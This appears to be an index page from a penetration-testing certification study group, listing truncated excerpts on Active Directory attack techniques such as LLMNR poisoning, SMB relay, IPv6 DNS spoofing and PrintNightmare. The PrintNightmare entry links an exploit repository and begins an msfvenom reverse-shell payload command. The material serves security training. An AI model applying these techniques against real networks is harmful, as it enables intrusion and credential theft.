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Session 10: Jan. 18, 2024

PJPT & PNPT Study Group Lessons

In this lesson, we focus on attacking Active Directory from the perspective of an internal assessment. So, this lesson plan is better suited to those preparing for the PJPT, but can still provide some valuable insights to those preparing for the PNPT as well.

active-directory
internal
tcm-pjpt

LLMNR Poisoning

Active Directory Initial Attack Vectors: Local Area Network

Note: Network Environment Given that LLMNR is a name resolution protocol that works on the Local Area Network (LAN), this attack method cannot be performed from a different subnet. The attacker would have to compromise a host on the LAN and upload tools, or p...

llmnr
llmnr-poisoning
internal

SMB Relay

Active Directory Initial Attack Vectors: Multipurpose

Note: Network Environment This attack works best in a flat network. However, as long as the attacker machine and target(s) are routeable and no firewalls are blocking required ports, it could work across network segments. What is SMB Relay? A man-in-the-mid...

internal
external
active-directory
smb

Passback Attacks

Active Directory Initial Attack Vectors: Multipurpose

What's the Flaw? Usually involves an unsecure device -- like a printer or multifunction device -- which is configured with an LDAP or SMTP client and credentials. It could be a web server too -- where there is an LDAP or SMTP client. The credentials are usual...

internal
external
active-directory
passback

IPv6 DNS Spoofing

Active Directory Initial Attack Vectors: Local Area Network

Note: Network Environment This spoofing attack works by sending a router announcement to multicast ff02::1. Therefore, it will only affect domain-joined hosts on the same segment as the attacker machine. What is IPv6 DNS Spoofing? An attacker announces ...

internal
active-directory
ipb6

PrintNightmare

Active Directory Initial Attack Vectors: Multipurpose

Remote Code Execution https://github.com/cube0x0/CVE-2021-1675 Contains full details on scanning and mitigation. Could potentially be used against a domain controller for easy access to a reverse shell. Create Payload msfvenom -p <payload> LHOST=<kali-ip> LPO...

internal
external
active-directory
print-nightmare